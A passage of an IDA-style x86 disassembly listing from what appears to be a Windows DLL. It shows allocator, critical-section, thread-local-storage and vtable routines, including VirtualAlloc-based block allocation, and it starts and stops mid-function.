mov ecx, eax
call sub_69B1D529
loc_69B1D500: ; CODE XREF: sub_69B1D4E5+42j
push eax ; Value
mov ecx, offset dword_69B95A24 ; Target
call sub_69B188DC
mov eax, dword_69B95A24
push 0
add eax, 10h
push eax
call sub_69B17320
mov eax, dword_69B95A24
mov byte ptr [eax+0Ch], 0
locret_69B1D524: ; CODE XREF: sub_69B1D4E5+7j
retn
; ---------------------------------------------------------------------------
loc_69B1D525: ; CODE XREF: sub_69B1D4E5+12j
xor eax, eax
jmp short loc_69B1D500
sub_69B1D4E5 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D529 proc near ; CODE XREF: sub_69B1D4E5+16p
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B1D590
mov dword ptr [esi], offset off_69B1D554
and dword ptr [esi+10h], 0
pop edi
mov eax, esi
pop esi
retn
sub_69B1D529 endp
; ---------------------------------------------------------------------------
align 4
off_69B1D554 dd offset sub_69B6547B ; DATA XREF: sub_69B1D529+19o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1D5D8
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B11FA3
align 10h
off_69B1D590 dd offset sub_69B65C47 ; DATA XREF: sub_69B1D529+13o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B77078
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B2FB2A
dd offset sub_69B2FAFE
dd offset sub_69B2FB0C
dd offset sub_69B2FB19
dd offset sub_69B2FAF3
; =============== S U B R O U T I N E =======================================
sub_69B1D5D8 proc near ; CODE XREF: sub_69B77078+3j
; DATA XREF: .text:69B168CCo ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B1D5F3
test [esp+4+arg_0], 1
jz short loc_69B1D5ED
push esi
call sub_69B1829F
loc_69B1D5ED: ; CODE XREF: sub_69B1D5D8+Dj
mov eax, esi
pop esi
retn 4
sub_69B1D5D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D5F3 proc near ; CODE XREF: sub_69B1D5D8+3p
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+8]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B1D5F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D617 proc near ; DATA XREF: .text:69B1C638o
; .text:69B1C648o ...
; FUNCTION CHUNK AT 69B24110 SIZE 0000000A BYTES
push 1Ch
push offset dword_69B1D698
call sub_69B19C5C
xor ebx, ebx
cmp dword_69B9296C, ebx
jnz loc_69B24110
mov [ebp-4], ebx
push 1
lea ecx, [ebp-24h]
call sub_69B11D3B
call sub_69B1BCCF
mov esi, eax
mov [ebp-28h], esi
push ebx
mov ecx, esi
call sub_69B1D6A4
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-2Ch], eax
mov byte ptr [esi+7Ch], 1
mov byte ptr [esi+7Dh], 1
mov byte ptr [esi+7Eh], 1
mov [esi+7Fh], bl
mov byte ptr [esi+81h], 1
mov [esi+83h], bl
lea ecx, [ebp-24h]
call sub_69B1976C
loc_69B1D682: ; CODE XREF: sub_69B24123+18j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-2Ch]
loc_69B1D689: ; CODE XREF: sub_69B1D617+6AFEj
call sub_69B1853C
retn 8
sub_69B1D617 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B1D698 dd 0FFFFFFFFh dd offset sub_69B2411A
dd offset sub_69B24123
; =============== S U B R O U T I N E =======================================
sub_69B1D6A4 proc near ; CODE XREF: sub_69B1D617+34p
; sub_69B3C634+80p ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B24140 SIZE 0000000C BYTES
mov al, [esp+arg_0]
test al, al
mov [ecx+8Dh], al
jnz loc_69B24140
locret_69B1D6B6: ; CODE XREF: sub_69B1D6A4+6AA3j
retn 4
sub_69B1D6A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D6B9 proc near ; CODE XREF: sub_69B1BCE3+6p
; sub_69B78994+4p ...
push esi
mov esi, ecx
call sub_69B18654
lea ecx, [esi+0Ch]
call sub_69B1D6CD
mov eax, esi
pop esi
retn
sub_69B1D6B9 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D6CD proc near ; CODE XREF: sub_69B1D6B9+Bp
; sub_69B3BA77+Ep ...
mov eax, ecx
xor ecx, ecx
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
mov [eax+10h], ecx
mov [eax+14h], cl
mov [eax+15h], cl
retn
sub_69B1D6CD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19E6E
loc_69B1D6E4: ; CODE XREF: sub_69B19E6E-BEDj
; sub_69B19E6E+38A9j
cmp esi, 1Fh
jge short loc_69B1D719
mov ebx, off_69B92188[esi*4]
mov [ebp-74h], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-78h], eax
push dword_69B95A5C
push ebx
call sub_69B192B7
push eax
mov ecx, [ebp-78h]
call sub_69B199CC
inc esi
mov [ebp-60h], esi
jmp short loc_69B1D6E4
; ---------------------------------------------------------------------------
loc_69B1D719: ; CODE XREF: sub_69B19E6E+3879j
; sub_69B19E6E+38DEj
cmp esi, 21h
jge short loc_69B1D74E
mov ebx, off_69B92188[esi*4]
mov [ebp-7Ch], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-80h], eax
push dword_69B95A54
push ebx
call sub_69B192B7
push eax
mov ecx, [ebp-80h]
call sub_69B199CC
inc esi
mov [ebp-60h], esi
jmp short loc_69B1D719
; ---------------------------------------------------------------------------
loc_69B1D74E: ; CODE XREF: sub_69B19E6E+38AEj
; sub_69B19E6E+391Cj
cmp esi, 22h
jge short loc_69B1D78C
mov ebx, off_69B92188[esi*4]
mov [ebp-84h], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-88h], eax
push dword_69B95A44
push ebx
call sub_69B192B7
push eax
mov ecx, [ebp-88h]
call sub_69B199CC
inc esi
mov [ebp-60h], esi
jmp short loc_69B1D74E
; ---------------------------------------------------------------------------
loc_69B1D78C: ; CODE XREF: sub_69B19E6E+38E3j
; sub_69B19E6E+395Aj
cmp esi, 23h
jge short loc_69B1D7CA
mov ebx, off_69B92188[esi*4]
mov [ebp-8Ch], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-90h], eax
push dword_69B95A4C
push ebx
call sub_69B192B7
push eax
mov ecx, [ebp-90h]
call sub_69B199CC
inc esi
mov [ebp-60h], esi
jmp short loc_69B1D78C
; ---------------------------------------------------------------------------
loc_69B1D7CA: ; CODE XREF: sub_69B19E6E+3921j
push edi ; Value
mov ecx, offset dword_69B95A84 ; Target
call sub_69B188DC
loc_69B1D7D5: ; CODE XREF: sub_69B19E6E+3Ej
; sub_69B240F3+18j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
lea ecx, [ebp-1Ch]
call sub_69B1900C
loc_69B1D7E9: ; CODE XREF: sub_69B19E6E+17j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1D7EF: ; CODE XREF: sub_69B19E6E+15Ej
xor eax, eax
jmp loc_69B19FD7
; END OF FUNCTION CHUNK FOR sub_69B19E6E
; =============== S U B R O U T I N E =======================================
sub_69B1D7F6 proc near ; CODE XREF: sub_69B1A72A+3p
; sub_69B4DE11+15Bp ...
; FUNCTION CHUNK AT 69B25771 SIZE 00000003 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz loc_69B25771
push 0
push 10h
mov ecx, eax
call sub_69B1D811
retn
sub_69B1D7F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D811 proc near ; CODE XREF: sub_69B1D7F6+15p
; sub_69B8A458+Dj ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_69B19118
mov eax, [esp+4+arg_4]
push [esp+4+arg_0]
mov [esi+8], eax
xor eax, eax
mov ecx, esi
mov dword ptr [esi], offset off_69B14778
mov [esi+0Ch], eax
mov [esi+10h], eax
mov [esi+14h], eax
call sub_69B1D842
mov eax, esi
pop esi
retn 8
sub_69B1D811 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D842 proc near ; CODE XREF: sub_69B1D811+26p
; DATA XREF: .text:69B147B4o ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B25761 SIZE 00000010 BYTES
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
mov eax, esi
push edi
shl eax, 2
push eax
mov ebx, ecx
call sub_69B1D897
mov edx, [ebx+10h]
mov ecx, esi
sub ecx, edx
shl ecx, 2
mov ebp, eax
lea edi, [ebp+edx*4+0]
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov ecx, [ebx+10h]
test ecx, ecx
jnz loc_69B25761
loc_69B1D882: ; CODE XREF: sub_69B1D842+7F2Aj
push dword ptr [ebx+14h]
call sub_69B1B2B7
pop edi
mov [ebx+10h], esi
pop esi
mov [ebx+14h], ebp
pop ebp
pop ebx
retn 4
sub_69B1D842 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D897 proc near ; CODE XREF: sub_69B19AEC+2p
; sub_69B1B352+2p ...
arg_0 = dword ptr 4
push ebx
push [esp+4+arg_0]
push 4
pop ebx
call sub_69B17F2C
pop ebx
retn 4
sub_69B1D897 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1D8A8 proc near ; CODE XREF: sub_69B1BCE3+167p
; sub_69B3D200+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
call sub_69B1D9E6
push 20h
push [ebp+var_4]
call sub_69B1D8D5
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
leave
retn 4
sub_69B1D8A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1D8D5 proc near ; CODE XREF: sub_69B1D8A8+16p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B23619 SIZE 0000003D BYTES
push ebp
mov ebp, esp
push ecx
cmp dword_69B929F4, 0
push esi
jnz loc_69B23619
loc_69B1D8E7: ; CODE XREF: sub_69B1D8D5+5D7Cj
push 64h
call sub_69B11E44
test eax, eax
jz short loc_69B1D904
push [ebp+arg_4]
mov ecx, eax
push [ebp+arg_0]
call sub_69B1D908
loc_69B1D8FF: ; CODE XREF: sub_69B1D8D5+31j
; sub_69B1D8D5+5D72j
pop esi
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B1D904: ; CODE XREF: sub_69B1D8D5+1Bj
xor eax, eax
jmp short loc_69B1D8FF
sub_69B1D8D5 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D908 proc near ; CODE XREF: sub_69B1D8D5+25p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B23611 SIZE 00000008 BYTES
push ebx
push esi
push edi
mov esi, ecx
call sub_69B1D993
push 100h
push 1000h
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B121C4
mov dword ptr [esi+4], offset off_69B121C0
call sub_69B19B0D
mov edi, [esp+0Ch+arg_4]
lea ebx, [esi+54h]
and dword ptr [ebx], 0
cmp edi, 8
jb loc_69B23611
loc_69B1D944: ; CODE XREF: sub_69B1D908+5D0Cj
xor edx, edx
lea eax, [edi+23h]
div edi
xor edx, edx
push [esp+0Ch+arg_0]
mov [esi+44h], edi
push ebx
mov ecx, eax
imul ecx, edi
mov eax, 2001h
sub eax, ecx
sub eax, edi
div edi
xor edi, edi
mov [esi+4Ch], ecx
mov [esi+40h], edi
mov [esi+3Ch], edi
mov [esi+38h], edi
mov [esi+48h], eax
call sub_69B17320
mov [esi+58h], edi
mov [esi+5Ch], edi
mov [esi+60h], edi
pop edi
mov dword ptr [esi+50h], 1
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B1D908 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D993 proc near ; CODE XREF: sub_69B1D908+5p
push esi
mov esi, ecx
push edi
lea edi, [esi+4]
push offset stru_69B1CA6C
mov ecx, edi
call sub_69B1D9B7
mov dword ptr [edi], offset off_69B1BBE0
pop edi
mov dword ptr [esi], offset off_69B1AEB8
mov eax, esi
pop esi
retn
sub_69B1D993 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D9B7 proc near ; CODE XREF: sub_69B1D993+Ep
; sub_69B3677A+Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+4], eax
push dwTlsIndex
call dword_69B92970
mov eax, [eax+2Ch]
neg eax
sbb eax, eax
and eax, 0FFFFFFFCh
add eax, 4
or eax, 8
mov [esi+8], eax
mov eax, esi
pop esi
retn 4
sub_69B1D9B7 endp
; =============== S U B R O U T I N E =======================================
sub_69B1D9E6 proc near ; CODE XREF: sub_69B1D8A8+Cp
push 10h
push offset dword_69B1DA60
call sub_69B19C5C
mov eax, dword_69B929F0
test eax, eax
jnz short loc_69B1DA41
push dword_69B929E8
lea ecx, [ebp-1Ch]
call sub_69B18E23
and dword ptr [ebp-4], 0
cmp dword_69B929F0, 0
jnz short loc_69B1DA30
push 30h
call sub_69B1D897
mov ecx, eax
mov [ebp-20h], ecx
test ecx, ecx
jz short loc_69B1DA5A
call sub_69B1DA6C
loc_69B1DA2B: ; CODE XREF: sub_69B1D9E6+76j
mov dword_69B929F0, eax
loc_69B1DA30: ; CODE XREF: sub_69B1D9E6+2Ej
; sub_69B235A3+10j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1900C
mov eax, dword_69B929F0
loc_69B1DA41: ; CODE XREF: sub_69B1D9E6+13j
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+8]
mov ecx, dword_69B929F0
mov [eax], ecx
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
loc_69B1DA5A: ; CODE XREF: sub_69B1D9E6+3Ej
xor eax, eax
jmp short loc_69B1DA2B
sub_69B1D9E6 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B1DA60 dd 0FFFFFFFFh dd offset sub_69B2359A
dd offset sub_69B235A3
; =============== S U B R O U T I N E =======================================
sub_69B1DA6C proc near ; CODE XREF: sub_69B1D9E6+40p
push esi
push 1
mov esi, ecx
call sub_69B19B6A
and dword ptr [esi+2Ch], 0
and dword ptr [esi+28h], 0
lea eax, [esi+10h]
push eax ; lpCriticalSection
mov dword ptr [esi], offset off_69B1AEB8
mov dword ptr [esi+4], offset off_69B1DA9C
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov eax, esi
pop esi
retn
sub_69B1DA6C endp
; ---------------------------------------------------------------------------
align 4
off_69B1DA9C dd offset loc_69B2E1C4 ; DATA XREF: sub_69B1DA6C+1Co
; sub_69B2E16D+13o
; =============== S U B R O U T I N E =======================================
sub_69B1DAA0 proc near ; CODE XREF: sub_69B1BE7F+19p
; sub_69B1BE7F:loc_69B24A7Ap ...
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
call sub_69B1DAD9
mov esi, eax
test esi, esi
jz short loc_69B1DAD2
push dwTlsIndex
call dword_69B92970
mov eax, [eax+2Ch]
neg eax
sbb eax, eax
and eax, 0FFFFFFFBh
add eax, 4
mov [esi+4], eax
loc_69B1DACC: ; CODE XREF: sub_69B1DAA0+37j
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B1DAD2: ; CODE XREF: sub_69B1DAA0+Ej
call sub_69B2E87C
jmp short loc_69B1DACC
sub_69B1DAA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B1DAD9 proc near ; CODE XREF: sub_69B1DAA0+5p
; FUNCTION CHUNK AT 69B23656 SIZE 0000008B BYTES
push ebx
mov ebx, ecx
lea eax, [ebx+58h]
cmp dword ptr [eax], 0
push ebp
push esi
jnz loc_69B23656
mov esi, [ebx+3Ch]
loc_69B1DAED: ; CODE XREF: sub_69B1DAD9+5BDBj
test esi, esi
jnz loc_69B23699
mov esi, [ebx+38h]
loc_69B1DAF8: ; CODE XREF: sub_69B1DAD9+5BFBj
test esi, esi
jnz short loc_69B1DB30
loc_69B1DAFC: ; CODE XREF: sub_69B1DAD9+5Aj
mov ecx, ebx
call sub_69B1DB66
mov esi, eax
test esi, esi
jz short loc_69B1DB2C
push ebx
mov ecx, esi
call sub_69B1DB3A
mov ebp, eax
mov eax, [ebx+38h]
mov [esi+10h], eax
mov eax, [ebx+38h]
test eax, eax
jnz loc_69B236D9
loc_69B1DB24: ; CODE XREF: sub_69B1DAD9+5C03j
mov [ebx+38h], esi
loc_69B1DB27: ; CODE XREF: sub_69B1DAD9+5BD2j
; sub_69B1DAD9+5BF2j
mov [ebx+3Ch], esi
loc_69B1DB2A: ; CODE XREF: sub_69B1DAD9+5BA4j
; sub_69B1DAD9+5BBBj
mov eax, ebp
loc_69B1DB2C: ; CODE XREF: sub_69B1DAD9+2Ej
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B1DB30: ; CODE XREF: sub_69B1DAD9+21j
cmp esi, [ebx+3Ch]
jz short loc_69B1DAFC
jmp loc_69B236B9
sub_69B1DAD9 endp
; =============== S U B R O U T I N E =======================================
sub_69B1DB3A proc near ; CODE XREF: sub_69B1DAD9+33p
; sub_69B1DAD9+5BC9p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B235C8 SIZE 00000025 BYTES
push esi
mov edx, ecx
mov eax, [edx+18h]
push edi
mov edi, [esp+8+arg_0]
mov ecx, [edi+44h]
add ecx, eax
cmp ecx, 2000h
jnb loc_69B235C8
lea esi, [eax+edx]
mov [edx+18h], ecx
loc_69B1DB5C: ; CODE XREF: sub_69B1DB3A+5AAEj
dec dword ptr [edx+14h]
pop edi
mov eax, esi
pop esi
retn 4
sub_69B1DB3A endp
; =============== S U B R O U T I N E =======================================
sub_69B1DB66 proc near ; CODE XREF: sub_69B1DAD9+25p
push 10h
push offset dword_69B1DBC0
call sub_69B19C5C
mov esi, ecx
mov ecx, [esi+54h]
lea eax, [ebp-1Ch]
push eax
call sub_69B1DBFF
mov edi, eax
mov [ebp-20h], edi
test edi, edi
jz short loc_69B1DBB5
push dword ptr [esi+48h]
push esi
push dword ptr [ebp-1Ch]
mov ecx, edi
call sub_69B1DBCC
mov ebx, eax
and dword ptr [ebp-4], 0
push edi
call sub_69B19DB4
or dword ptr [ebp-4], 0FFFFFFFFh
inc dword ptr [esi+5Ch]
inc dword ptr [esi+50h]
mov eax, ebx
loc_69B1DBAF: ; CODE XREF: sub_69B1DB66+51j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1DBB5: ; CODE XREF: sub_69B1DB66+21j
; sub_69B235F6+16j
xor eax, eax
jmp short loc_69B1DBAF
sub_69B1DB66 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B1DBC0 dd 0FFFFFFFFh dd offset sub_69B235ED
dd offset sub_69B235F6
; =============== S U B R O U T I N E =======================================
sub_69B1DBCC proc near ; CODE XREF: sub_69B1DB66+2Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, ecx
mov ecx, [esp+arg_8]
xor edx, edx
mov [eax+14h], ecx
mov ecx, [esp+arg_4]
push esi
mov [eax+0Ch], edx
mov [eax+10h], edx
mov esi, [ecx+4Ch]
mov [eax+1Ch], edx
mov edx, [esp+4+arg_0]
mov [eax+18h], esi
mov [eax+20h], edx
mov dword ptr [eax], 1
mov [eax+8], ecx
pop esi
retn 0Ch
sub_69B1DBCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1DBFF proc near ; CODE XREF: sub_69B1DB66+15p
lpCriticalSection= dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B234EC SIZE 000000AE BYTES
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov edi, ds:EnterCriticalSection
lea eax, [esi+10h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call edi ; EnterCriticalSection
mov eax, [esi+28h]
mov ebx, [esi+2Ch]
xor ecx, ecx
cmp eax, ecx
mov [ebp+var_4], ecx
jnz loc_69B234EC
loc_69B1DC2B: ; CODE XREF: sub_69B1DBFF+58F0j
; sub_69B1DBFF+5929j
cmp ebx, ecx
mov [esi+28h], ecx
jnz loc_69B2352D
loc_69B1DC36: ; CODE XREF: sub_69B1DBFF+593Cj
mov ebx, [esi+2Ch]
cmp ebx, ecx
jnz loc_69B2356D
loc_69B1DC41: ; CODE XREF: sub_69B1DBFF+597Dj
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
mov ecx, esi
call sub_69B1C300
mov ebx, eax
test ebx, ebx
jz short loc_69B1DC84
push ebx
mov ecx, esi
call sub_69B1DC97
push [ebp+lpCriticalSection] ; lpCriticalSection
mov [ebp+var_4], eax
call edi ; EnterCriticalSection
mov eax, [esi+2Ch]
mov [ebx+8], eax
mov eax, [esi+2Ch]
test eax, eax
jnz loc_69B23592
loc_69B1DC78: ; CODE XREF: sub_69B1DBFF+5996j
mov [esi+2Ch], ebx
loc_69B1DC7B: ; CODE XREF: sub_69B1DBFF+598Ej
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B1DC84: ; CODE XREF: sub_69B1DBFF+56j
; sub_69B1DBFF+5922j ...
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_69B1DC8D
mov [eax], ebx
loc_69B1DC8D: ; CODE XREF: sub_69B1DBFF+8Aj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B1DBFF endp
; =============== S U B R O U T I N E =======================================
sub_69B1DC97 proc near ; CODE XREF: sub_69B1DBFF+5Bp
; sub_69B1DBFF+5986p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B234C8 SIZE 0000000D BYTES
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi+0Ch]
push edi
xor edi, edi
inc edi
shl edi, cl
lea eax, [ecx+1]
push 4 ; flProtect
shl ecx, 0Dh
add ecx, [esi]
or [esi+14h], edi
push 1000h ; flAllocationType
mov [esi+0Ch], eax
cmp dword_69B92940, 0
push 2000h ; dwSize
push ecx ; lpAddress
jnz short loc_69B1DCDC
call ds:VirtualAlloc ; VirtualAlloc
loc_69B1DCCF: ; CODE XREF: sub_69B1DC97+4Aj
test eax, eax
jz loc_69B234C8
loc_69B1DCD7: ; CODE XREF: sub_69B1DC97+5839j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B1DCDC: ; CODE XREF: sub_69B1DC97+30j
call sub_69B2D4D6
jmp short loc_69B1DCCF
sub_69B1DC97 endp
; ---------------------------------------------------------------------------
align 8
off_69B1DCE8 dd offset sub_69B48072 ; DATA XREF: sub_69B1BEB8+11o
; sub_69B481BE+7o
dd offset sub_69B1DE10
dd offset sub_69B491D1
dd offset sub_69B4876E
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B47F56
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B4928E
dd offset sub_69B4917C
dd offset sub_69B480C6
dd offset sub_69B4918C
dd offset sub_69B47F81
dd offset sub_69B481D8
dd offset sub_69B4AD59
dd offset sub_69B48756
dd offset sub_69B48894
dd offset sub_69B4BC9C
dd offset sub_69B4BCA1
dd offset sub_69B4CD82
dd offset sub_69B47F5C
dd offset sub_69B4A5B1
dd offset sub_69B48789
dd offset sub_69B487EE
dd offset sub_69B4A5F8
dd offset sub_69B47F91
dd offset sub_69B4CD87
dd offset sub_69B4CDC8
dd offset sub_69B4CE22
dd offset sub_69B4A6F9
dd offset sub_69B4A392
dd offset sub_69B4A37F
dd offset sub_69B48769
dd offset sub_69B4A3A9
dd offset sub_69B4AA2A
dd offset sub_69B4A621
dd offset sub_69B4BCB5
dd offset sub_69B47FF1
dd offset sub_69B4D1CD
dd offset sub_69B4CE71
dd offset sub_69B73462
dd offset sub_69B4874C
dd offset sub_69B48867
dd offset sub_69B4884D
dd offset sub_69B4D1A8
dd offset sub_69B4A626
dd offset sub_69B4D1AD
dd offset sub_69B4800F
dd offset sub_69B491B5
dd offset sub_69B48882
dd offset sub_69B4ADB4
dd offset sub_69B481E1
dd offset sub_69B48AA4
dd offset sub_69B493EE
dd offset sub_69B1B57D
dd offset sub_69B48BEC
dd offset sub_69B480D7
dd offset sub_69B480DB
dd offset sub_69B480E4
dd offset sub_69B89E92
dd offset sub_69B4813A
dd offset sub_69B48144
dd offset sub_69B48148
dd offset sub_69B48152
dd offset sub_69B48C0F
dd offset sub_69B48160
dd offset sub_69B48144
dd offset sub_69B48C17
dd offset sub_69B4B9EA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1DE10 proc near ; DATA XREF: .text:69B1529Co
; .text:69B1DCECo
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B24A70 SIZE 0000000A BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jz loc_69B24A70
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_C]
push esi
call sub_69B1B406
mov ecx, [ebp+arg_0]
call sub_69B1DE55
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B1DE50: ; CODE XREF: sub_69B1DE10+6C65j
pop esi
leave
retn 4
sub_69B1DE10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1DE55 proc near ; CODE XREF: sub_69B1DE10+27p
; sub_69B40FE5+82p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
; FUNCTION CHUNK AT 69B1DF0F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 69B24942 SIZE 000000B0 BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov esi, ecx
call sub_69B17275
test eax, eax
mov eax, [esi+8]
jnz loc_69B24942
mov ebx, [esi+4]
shr eax, 1Fh
test al, 1
jz loc_69B24985
loc_69B1DE7E: ; CODE XREF: sub_69B1DE55+C2j
mov al, 1
loc_69B1DE80: ; CODE XREF: sub_69B1DE55+BCj
cmp ebx, 0FFFFFFFFh
jz short loc_69B1DE9F
test bl, 1
jnz loc_69B24994
xor ebx, ebx
loc_69B1DE90: ; CODE XREF: sub_69B1DE55+6B42j
xor ecx, ecx
test al, al
setnz cl
mov [ebp+var_1], 1
cmp ebx, ecx
jz short loc_69B1DEA3
loc_69B1DE9F: ; CODE XREF: sub_69B1DE55+2Ej
mov [ebp+var_1], 0
loc_69B1DEA3: ; CODE XREF: sub_69B1DE55+48j
mov eax, [esi+0Ch]
mov [ebp+var_8], eax
loc_69B1DEA9: ; CODE XREF: sub_69B1DE55+6B98j
cmp [ebp+var_1], 0
jnz loc_69B2499C
loc_69B1DEB3: ; CODE XREF: sub_69B1DE55+6B4Fj
lea eax, [esi+4]
push eax ; Target
call sub_69B18980
mov [ebp+var_C], eax
mov eax, [esi+8]
shr eax, 1Fh
test al, 1
jz loc_69B249A9
loc_69B1DECD: ; CODE XREF: sub_69B1DE55+6B60j
mov cl, 1
loc_69B1DECF: ; CODE XREF: sub_69B1DE55+6B68j
test byte ptr [ebp+var_C], 1
jnz loc_69B249C2
xor eax, eax
loc_69B1DEDB: ; CODE XREF: sub_69B1DE55+6B73j
mov edi, [esi+0Ch]
xor edx, edx
test cl, cl
setnz dl
cmp eax, edx
setz bl
cmp [ebp+var_8], edi
jnz loc_69B249CD
cmp bl, [ebp+var_1]
jnz loc_69B249CD
push [ebp+var_C]
mov ecx, esi
call sub_69B1737D
mov esi, eax
loc_69B1DF08: ; CODE XREF: sub_69B1DE55+6B1Ej
; sub_69B1DE55+6B2Bj
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
sub_69B1DE55 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DE55
loc_69B1DF0F: ; CODE XREF: sub_69B1DE55+6B3Aj
test al, al
jz loc_69B1DE80
jmp loc_69B1DE7E
; END OF FUNCTION CHUNK FOR sub_69B1DE55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C12C
loc_69B1DF1C: ; CODE XREF: sub_69B1C12C+62j
push 1Ch
call sub_69B1D897
cmp eax, ebx
jz short loc_69B1DF39
push esi
mov ecx, eax
call sub_69B1DF3D
loc_69B1DF2F: ; CODE XREF: sub_69B1C12C+1E0Fj
